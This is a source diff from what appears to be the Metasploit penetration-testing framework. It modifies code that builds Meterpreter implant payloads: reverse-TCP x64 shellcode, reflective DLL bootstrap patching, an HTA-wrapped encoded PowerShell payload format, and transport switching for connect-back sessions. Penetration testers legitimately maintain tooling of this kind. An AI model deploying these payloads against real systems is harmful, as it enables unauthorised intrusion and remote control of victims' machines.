|
|||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_tcp(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
|
@ -92,8 +93,9 @@ module Payload::Windows::ReverseTcp_x64
|
|||
#
|
||||
def asm_reverse_tcp(opts={})
|
||||
|
||||
#retry_count = [opts[:retry_count].to_i, 1].max
|
||||
# TODO: reliable = opts[:reliable]
|
||||
# TODO: reliability coming later
|
||||
reliable = opts[:reliable]
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
encoded_port = [opts[:port].to_i,2].pack("vn").unpack("N").first
|
||||
encoded_host = Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first
|
||||
encoded_host_port = "0x%.8x%.8x" % [encoded_host, encoded_port]
|
||||
|
|
|
@ -1,121 +0,0 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
##
|
||||
#
|
||||
# Implements stageless invocation of metsrv in x64
|
||||
#
|
||||
##
|
||||
|
||||
module Payload::Windows::StagelessMeterpreter_x64
|
||||
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Single
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
def asm_invoke_metsrv(opts={})
|
||||
asm = %Q^
|
||||
; prologue
|
||||
db 0x4d, 0x5a ; 'MZ' = "pop r10"
|
||||
push r10 ; back to where we started
|
||||
push rbp ; save rbp
|
||||
mov rbp, rsp ; set up a new stack frame
|
||||
sub rsp, 32 ; allocate some space for calls.
|
||||
; GetPC
|
||||
call $+5 ; relative call to get location
|
||||
pop rbx ; pop return value
|
||||
; Invoke ReflectiveLoader()
|
||||
; add the offset to ReflectiveLoader()
|
||||
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
|
||||
call rbx ; invoke ReflectiveLoader()
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; offset from ReflectiveLoader() to the end of the DLL
|
||||
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||
mov r8, rbx ; r8 points to the extension list
|
||||
mov rbx, rax ; save DllMain for another call
|
||||
push 4 ; push up 4, indicate that we have attached
|
||||
pop rdx ; pop 4 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
|
||||
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
; push the exitfunk value onto the stack
|
||||
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
push 5 ; push 5, indicate that we have detached
|
||||
pop rdx ; pop 5 into rdx
|
||||
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
|
||||
^
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
def generate_stageless_x64(url = nil)
|
||||
dll, offset = load_rdi_dll(MetasploitPayloads.meterpreter_path('metsrv', 'x64.dll'))
|
||||
|
||||
conf = {
|
||||
:rdi_offset => offset,
|
||||
:length => dll.length,
|
||||
:exitfunk => datastore['EXITFUNC']
|
||||
}
|
||||
|
||||
asm = asm_invoke_metsrv(conf)
|
||||
|
||||
# generate the bootstrap asm
|
||||
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
|
||||
|
||||
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
|
||||
if bootstrap.length > 62
|
||||
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
|
||||
return
|
||||
end
|
||||
|
||||
# patch the binary with all the stuff
|
||||
dll[0, bootstrap.length] = bootstrap
|
||||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
# Patch the URL using the patcher as this supports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
# Patch in the timeout options
|
||||
timeout_opts = {
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i
|
||||
}
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(dll, timeout_opts)
|
||||
|
||||
# if a block is given then call that with the meterpreter dll
|
||||
# so that custom patching can happen if required
|
||||
yield dll if block_given?
|
||||
|
||||
# append each extension to the payload, including
|
||||
# the size of the extension
|
||||
unless datastore['EXTENSIONS'].nil?
|
||||
datastore['EXTENSIONS'].split(',').each do |e|
|
||||
e = e.strip.downcase
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{e}", 'x64.dll'))
|
||||
|
||||
# append the size, offset to RDI and the payload itself
|
||||
dll << [ext.length].pack('V') + ext
|
||||
end
|
||||
end
|
||||
|
||||
# Terminate the "list" of extensions
|
||||
dll + [0].pack('V')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -64,6 +64,9 @@ module Msf
|
|||
# @!attribute space
|
||||
# @return [Fixnum] The maximum size in bytes of the payload
|
||||
attr_accessor :space
|
||||
# @!attribute encoder_space
|
||||
# @return [Fixnum] The maximum size in bytes of the encoded payload
|
||||
attr_accessor :encoder_space
|
||||
# @!attribute stdin
|
||||
# @return [String] The raw bytes of a payload taken from STDIN
|
||||
attr_accessor :stdin
|
||||
|
@ -85,6 +88,7 @@ module Msf
|
|||
# @option opts [String] :badchars (see #badchars)
|
||||
# @option opts [String] :template (see #template)
|
||||
# @option opts [Fixnum] :space (see #space)
|
||||
# @option opts [Fixnum] :encoder_space (see #encoder_space)
|
||||
# @option opts [Fixnum] :nops (see #nops)
|
||||
# @option opts [String] :add_code (see #add_code)
|
||||
# @option opts [Boolean] :keep (see #keep)
|
||||
|
@ -109,6 +113,7 @@ module Msf
|
|||
@stdin = opts.fetch(:stdin, nil)
|
||||
@template = opts.fetch(:template, '')
|
||||
@var_name = opts.fetch(:var_name, 'buf')
|
||||
@encoder_space = opts.fetch(:encoder_space, @space)
|
||||
|
||||
@framework = opts.fetch(:framework)
|
||||
|
||||
|
@ -200,7 +205,7 @@ module Msf
|
|||
encoder_list.each do |encoder_mod|
|
||||
cli_print "Attempting to encode payload with #{iterations} iterations of #{encoder_mod.refname}"
|
||||
begin
|
||||
encoder_mod.available_space = @space
|
||||
encoder_mod.available_space = @encoder_space
|
||||
return run_encoder(encoder_mod, shellcode.dup)
|
||||
rescue ::Msf::EncoderSpaceViolation => e
|
||||
cli_print "#{encoder_mod.refname} failed with #{e.message}"
|
||||
|
@ -276,12 +281,15 @@ module Msf
|
|||
# @return [String] A string containing the bytes of the payload in the format selected
|
||||
def generate_payload
|
||||
if platform == "java" or arch == "java" or payload.start_with? "java/"
|
||||
generate_java_payload
|
||||
p = generate_java_payload
|
||||
cli_print "Payload size: #{p.length} bytes"
|
||||
p
|
||||
else
|
||||
raw_payload = generate_raw_payload
|
||||
raw_payload = add_shellcode(raw_payload)
|
||||
encoded_payload = encode_payload(raw_payload)
|
||||
encoded_payload = prepend_nops(encoded_payload)
|
||||
cli_print "Payload size: #{encoded_payload.length} bytes"
|
||||
format_payload(encoded_payload)
|
||||
end
|
||||
end
|
||||
|
@ -392,7 +400,7 @@ module Msf
|
|||
iterations.times do |x|
|
||||
shellcode = encoder_module.encode(shellcode.dup, badchars, nil, platform_list)
|
||||
cli_print "#{encoder_module.refname} succeeded with size #{shellcode.length} (iteration=#{x})"
|
||||
if shellcode.length > space
|
||||
if shellcode.length > encoder_space
|
||||
raise EncoderSpaceViolation, "encoder has made a buffer that is too big"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -668,7 +668,7 @@ class Db
|
|||
columns = [host.address] + col_names.map { |n| service[n].to_s || "" }
|
||||
tbl << columns
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address)
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
|
||||
|
@ -790,6 +790,7 @@ class Db
|
|||
# Same for service names
|
||||
next unless svcs.empty? or svcs.include?(vuln.service.name)
|
||||
print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}")
|
||||
|
||||
else
|
||||
# This vuln has no service, so it can't match
|
||||
next unless ports.empty? and svcs.empty?
|
||||
|
@ -1318,7 +1319,7 @@ class Db
|
|||
host = note.host
|
||||
msg << " host=#{note.host.address}"
|
||||
if set_rhosts
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address)
|
||||
addr = (host.scope ? host.address + '%' + host.scope : host.address )
|
||||
rhosts << addr
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1117,6 +1117,29 @@ require 'msf/core/exe/segment_appender'
|
|||
method: 'reflection')
|
||||
end
|
||||
|
||||
def self.to_powershell_hta(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
|
||||
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
encode_final_payload: true,
|
||||
remove_comspec: true,
|
||||
method: 'reflection')
|
||||
|
||||
# Intialize rig and value names
|
||||
rig = Rex::RandomIdentifierGenerator.new()
|
||||
rig.init_var(:var_shell)
|
||||
rig.init_var(:var_fso)
|
||||
|
||||
hash_sub = rig.to_h
|
||||
hash_sub[:powershell] = powershell
|
||||
|
||||
read_replace_script_template("to_powershell.hta.template", hash_sub)
|
||||
end
|
||||
|
||||
def self.to_win32pe_vbs(framework, code, opts = {})
|
||||
to_exe_vbs(to_win32pe(framework, code, opts), opts)
|
||||
end
|
||||
|
@ -1928,6 +1951,8 @@ require 'msf/core/exe/segment_appender'
|
|||
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
|
||||
when 'psh-cmd'
|
||||
Msf::Util::EXE.to_powershell_command(framework, arch, code)
|
||||
when 'hta-psh'
|
||||
Msf::Util::EXE.to_powershell_hta(framework, arch, code)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1943,6 +1968,7 @@ require 'msf/core/exe/segment_appender'
|
|||
"exe-only",
|
||||
"exe-service",
|
||||
"exe-small",
|
||||
"hta-psh",
|
||||
"loop-vbs",
|
||||
"macho",
|
||||
"msi",
|
||||
|
|
|
@ -1,3 +1,2 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/payloads/win32'
|
||||
require 'rex/payloads/meterpreter'
|
||||
|
|
|
@ -1,2 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/payloads/meterpreter/patch'
|
|
@ -0,0 +1,154 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/payload/uuid'
|
||||
require 'msf/core/payload/windows'
|
||||
require 'msf/core/reflective_dll_loader'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
class Rex::Payloads::Meterpreter::Config
|
||||
|
||||
include Msf::ReflectiveDLLLoader
|
||||
|
||||
URL_SIZE = 512
|
||||
UA_SIZE = 256
|
||||
PROXY_HOST_SIZE = 128
|
||||
PROXY_USER_SIZE = 64
|
||||
PROXY_PASS_SIZE = 64
|
||||
CERT_HASH_SIZE = 20
|
||||
|
||||
def initialize(opts={})
|
||||
@opts = opts
|
||||
if opts[:ascii_str] && opts[:ascii_str] == true
|
||||
@to_str = self.method(:to_ascii)
|
||||
else
|
||||
@to_str = self.method(:to_wchar_t)
|
||||
end
|
||||
end
|
||||
|
||||
def to_b
|
||||
config_block
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def is_x86?
|
||||
@opts[:arch] == ARCH_X86
|
||||
end
|
||||
|
||||
def to_str(item, size)
|
||||
@to_str.call(item, size)
|
||||
end
|
||||
|
||||
def to_wchar_t(item, size)
|
||||
to_ascii(item, size).unpack('C*').pack('v*')
|
||||
end
|
||||
|
||||
def to_ascii(item, size)
|
||||
item.to_s.ljust(size, "\x00")
|
||||
end
|
||||
|
||||
def session_block(opts)
|
||||
uuid = opts[:uuid].to_raw
|
||||
exit_func = Msf::Payload::Windows.exit_types[opts[:exitfunk]]
|
||||
|
||||
session_data = [
|
||||
0, # comms socket, patched in by the stager
|
||||
exit_func, # exit function identifer
|
||||
opts[:expiration], # Session expiry
|
||||
uuid # the UUID
|
||||
]
|
||||
|
||||
session_data.pack('VVVA*')
|
||||
end
|
||||
|
||||
def transport_block(opts)
|
||||
# Build the URL from the given parameters, and pad it out to the
|
||||
# correct size
|
||||
lhost = opts[:lhost]
|
||||
if lhost && opts[:scheme].start_with?('http') && Rex::Socket.is_ipv6?(lhost)
|
||||
lhost = "[#{lhost}]"
|
||||
end
|
||||
|
||||
url = "#{opts[:scheme]}://#{lhost}:#{opts[:lport]}"
|
||||
url << "#{opts[:uri]}/" if opts[:uri]
|
||||
url << "?#{opts[:scope_id]}" if opts[:scope_id]
|
||||
|
||||
# if the transport URI is for a HTTP payload we need to add a stack
|
||||
# of other stuff
|
||||
pack = 'A*VVV'
|
||||
transport_data = [
|
||||
to_str(url, URL_SIZE), # transport URL
|
||||
opts[:comm_timeout], # communications timeout
|
||||
opts[:retry_total], # retry total time
|
||||
opts[:retry_wait] # retry wait time
|
||||
]
|
||||
|
||||
if url.start_with?('http')
|
||||
proxy_host = ''
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type].downcase == 'socks'
|
||||
proxy_host = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
end
|
||||
proxy_host = to_str(proxy_host || '', PROXY_HOST_SIZE)
|
||||
proxy_user = to_str(opts[:proxy_user] || '', PROXY_USER_SIZE)
|
||||
proxy_pass = to_str(opts[:proxy_pass] || '', PROXY_PASS_SIZE)
|
||||
ua = to_str(opts[:ua] || '', UA_SIZE)
|
||||
|
||||
cert_hash = "\x00" * CERT_HASH_SIZE
|
||||
cert_hash = opts[:ssl_cert_hash] if opts[:ssl_cert_hash]
|
||||
|
||||
# add the HTTP specific stuff
|
||||
transport_data << proxy_host # Proxy host name
|
||||
transport_data << proxy_user # Proxy user name
|
||||
transport_data << proxy_pass # Proxy password
|
||||
transport_data << ua # HTTP user agent
|
||||
transport_data << cert_hash # SSL cert hash for verification
|
||||
|
||||
# update the packing spec
|
||||
pack << 'A*A*A*A*A*'
|
||||
end
|
||||
|
||||
# return the packed transport information
|
||||
transport_data.pack(pack)
|
||||
end
|
||||
|
||||
def extension_block(ext_name, file_extension)
|
||||
ext_name = ext_name.strip.downcase
|
||||
ext, o = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
|
||||
file_extension))
|
||||
|
||||
extension_data = [ ext.length, ext ].pack('VA*')
|
||||
end
|
||||
|
||||
def config_block
|
||||
# start with the session information
|
||||
config = session_block(@opts)
|
||||
|
||||
# then load up the transport configurations
|
||||
(@opts[:transports] || []).each do |t|
|
||||
config << transport_block(t)
|
||||
end
|
||||
|
||||
# terminate the transports with NULL (wchar)
|
||||
config << "\x00\x00"
|
||||
|
||||
# configure the extensions - this will have to change when posix comes
|
||||
# into play.
|
||||
file_extension = 'x86.dll'
|
||||
file_extension = 'x64.dll' unless is_x86?
|
||||
|
||||
(@opts[:extensions] || []).each do |e|
|
||||
config << extension_block(e, file_extension)
|
||||
end
|
||||
|
||||
# terminate the extensions with a 0 size
|
||||
if is_x86?
|
||||
config << [0].pack('V')
|
||||
else
|
||||
config << [0].pack('Q<')
|
||||
end
|
||||
|
||||
# and we're done
|
||||
config
|
||||
end
|
||||
end
|
|
@ -1,166 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Rex
|
||||
module Payloads
|
||||
module Meterpreter
|
||||
###
|
||||
#
|
||||
# Provides methods to patch options into metsrv stagers
|
||||
#
|
||||
###
|
||||
module Patch
|
||||
|
||||
#
|
||||
# Replace the transport string
|
||||
#
|
||||
def self.patch_transport!(blob, ssl)
|
||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the URL
|
||||
#
|
||||
def self.patch_url!(blob, url)
|
||||
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
patch_string!(blob, "https://#{'X' * 256}", url)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the timeout data with the actual timeout values.
|
||||
#
|
||||
def self.patch_timeouts!(blob, opts)
|
||||
i = blob.index("METERP_TIMEOUTS\x00")
|
||||
if i
|
||||
data = [opts[:expiration].to_i, opts[:comm_timeout].to_i,
|
||||
opts[:retry_total].to_i, opts[:retry_wait].to_i].pack("VVVV")
|
||||
blob[i, data.length] = data
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Replace the user agent string with our option
|
||||
#
|
||||
def self.patch_ua!(blob, ua)
|
||||
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||
end
|
||||
|
||||
#
|
||||
# Activate a custom proxy
|
||||
#
|
||||
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||
|
||||
if proxyhost && proxyhost.to_s != ""
|
||||
proxyhost = proxyhost.to_s
|
||||
proxyport = proxyport.to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if proxy_type.to_s.upcase == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Proxy authentification
|
||||
#
|
||||
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||
|
||||
return if proxy_type.nil? || proxy_type.upcase == 'SOCKS'
|
||||
|
||||
if proxy_username && !proxy_username.empty?
|
||||
unless patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
|
||||
proxy_username + "\x00")
|
||||
raise ArgumentError, "Unable to patch Proxy Username"
|
||||
end
|
||||
end
|
||||
|
||||
if proxy_password && !proxy_password.empty?
|
||||
unless patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
|
||||
proxy_password + "\x00")
|
||||
raise ArgumentError, "Unable to patch Proxy Password"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch the ssl cert hash
|
||||
#
|
||||
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||
# SSL cert location is an ASCII string, so no need for
|
||||
# WCHAR support
|
||||
if ssl_cert_hash
|
||||
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
|
||||
if i
|
||||
blob[i, ssl_cert_hash.length] = ssl_cert_hash
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Patch options into metsrv for reverse HTTP payloads
|
||||
#
|
||||
def self.patch_passive_service!(blob, opts)
|
||||
|
||||
patch_transport!(blob, opts[:ssl])
|
||||
patch_url!(blob, opts[:url])
|
||||
patch_timeouts!(blob, opts)
|
||||
patch_ua!(blob, opts[:ua])
|
||||
patch_ssl_check!(blob, opts[:ssl_cert_hash])
|
||||
patch_proxy!(blob,
|
||||
opts[:proxy_host],
|
||||
opts[:proxy_port],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
opts[:proxy_user],
|
||||
opts[:proxy_pass],
|
||||
opts[:proxy_type]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
|
||||
#
|
||||
def self.patch_string!(blob, search, replacement)
|
||||
result = false
|
||||
|
||||
i = blob.index(search)
|
||||
if i
|
||||
blob[i, replacement.length] = replacement
|
||||
result = true
|
||||
else
|
||||
i = blob.index(wchar(search))
|
||||
if i
|
||||
r = wchar(replacement)
|
||||
blob[i, r.length] = r
|
||||
result = true
|
||||
end
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
#
|
||||
# Convert the given ASCII string into a WCHAR string (dumb, but works)
|
||||
#
|
||||
def self.wchar(str)
|
||||
str.to_s.unpack("C*").pack("v*")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -8,9 +8,6 @@ require 'rex/post/meterpreter/client'
|
|||
# argument for moving the meterpreter client into the Msf namespace.
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
# Provides methods to patch options into the metsrv stager.
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
# URI uuid and checksum stuff
|
||||
require 'msf/core/payload/uuid'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
@ -100,6 +97,32 @@ class ClientCore < Extension
|
|||
commands
|
||||
end
|
||||
|
||||
def transport_list
|
||||
request = Packet.create_request('core_transport_list')
|
||||
response = client.send_request(request)
|
||||
|
||||
result = {
|
||||
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
|
||||
:transports => []
|
||||
}
|
||||
|
||||
response.each(TLV_TYPE_TRANS_GROUP) { |t|
|
||||
result[:transports] << {
|
||||
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
|
||||
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
|
||||
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
|
||||
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
|
||||
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
|
||||
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
|
||||
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
|
||||
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
|
||||
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
|
||||
}
|
||||
}
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
def set_transport_timeouts(opts={})
|
||||
request = Packet.create_request('core_transport_set_timeouts')
|
||||
|
||||
|
@ -273,6 +296,18 @@ class ClientCore < Extension
|
|||
return true
|
||||
end
|
||||
|
||||
def uuid(timeout=nil)
|
||||
request = Packet.create_request('core_uuid')
|
||||
|
||||
args = [ request ]
|
||||
args << timeout if timeout
|
||||
response = client.send_request(*args)
|
||||
|
||||
id = response.get_tlv_value(TLV_TYPE_UUID)
|
||||
|
||||
return Msf::Payload::UUID.new({:raw => id})
|
||||
end
|
||||
|
||||
def machine_id(timeout=nil)
|
||||
request = Packet.create_request('core_machine_id')
|
||||
|
||||
|
@ -285,83 +320,46 @@ class ClientCore < Extension
|
|||
return Rex::Text.md5(mid)
|
||||
end
|
||||
|
||||
def transport_add(opts={})
|
||||
request = transport_prepare_request('core_transport_add', opts)
|
||||
|
||||
return false unless request
|
||||
|
||||
client.send_request(request)
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def transport_change(opts={})
|
||||
request = transport_prepare_request('core_transport_change', opts)
|
||||
|
||||
unless valid_transport?(opts[:transport]) && opts[:lport]
|
||||
return false
|
||||
end
|
||||
return false unless request
|
||||
|
||||
if opts[:transport].starts_with?('reverse')
|
||||
return false unless opts[:lhost]
|
||||
else
|
||||
# Bind shouldn't have lhost set
|
||||
opts[:lhost] = nil
|
||||
end
|
||||
client.send_request(request)
|
||||
|
||||
transport = VALID_TRANSPORTS[opts[:transport]]
|
||||
return true
|
||||
end
|
||||
|
||||
request = Packet.create_request('core_transport_change')
|
||||
def transport_sleep(seconds)
|
||||
return false if seconds == 0
|
||||
|
||||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
request = Packet.create_request('core_transport_sleep')
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
# we're reusing the comms timeout setting here instead of
|
||||
# creating a whole new TLV value
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
unless opts[:transport].ends_with?('tcp')
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
uuid = client.payload_uuid
|
||||
unless uuid
|
||||
arch, plat = client.platform.split('/')
|
||||
uuid = Msf::Payload::UUID.new({
|
||||
arch: arch,
|
||||
platform: plat.starts_with?('win') ? 'windows' : plat
|
||||
})
|
||||
end
|
||||
url << generate_uri_uuid(sum, uuid) + '/'
|
||||
|
||||
# TODO: randomise if not specified?
|
||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
|
||||
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
end
|
||||
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type] == 'socks'
|
||||
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_INFO, proxy)
|
||||
|
||||
if opts[:proxy_user]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
||||
end
|
||||
if opts[:proxy_pass]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
||||
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
||||
def transport_next
|
||||
request = Packet.create_request('core_transport_next')
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
||||
def transport_prev
|
||||
request = Packet.create_request('core_transport_prev')
|
||||
client.send_request(request)
|
||||
return true
|
||||
end
|
||||
|
@ -599,11 +597,87 @@ class ClientCore < Extension
|
|||
# Indicates if the given transport is a valid transport option.
|
||||
#
|
||||
def valid_transport?(transport)
|
||||
VALID_TRANSPORTS.has_key?(transport.downcase)
|
||||
if transport
|
||||
VALID_TRANSPORTS.has_key?(transport.downcase)
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def transport_prepare_request(method, opts={})
|
||||
unless valid_transport?(opts[:transport]) && opts[:lport]
|
||||
return nil
|
||||
end
|
||||
|
||||
if opts[:transport].starts_with?('reverse')
|
||||
return false unless opts[:lhost]
|
||||
else
|
||||
# Bind shouldn't have lhost set
|
||||
opts[:lhost] = nil
|
||||
end
|
||||
|
||||
transport = VALID_TRANSPORTS[opts[:transport]]
|
||||
|
||||
request = Packet.create_request(method)
|
||||
|
||||
scheme = opts[:transport].split('_')[1]
|
||||
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
|
||||
|
||||
if opts[:comm_timeout]
|
||||
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
|
||||
end
|
||||
|
||||
if opts[:session_exp]
|
||||
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
|
||||
end
|
||||
|
||||
if opts[:retry_total]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
|
||||
end
|
||||
|
||||
if opts[:retry_wait]
|
||||
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
|
||||
end
|
||||
|
||||
# do more magic work for http(s) payloads
|
||||
unless opts[:transport].ends_with?('tcp')
|
||||
sum = uri_checksum_lookup(:connect)
|
||||
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
|
||||
|
||||
# TODO: randomise if not specified?
|
||||
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
|
||||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
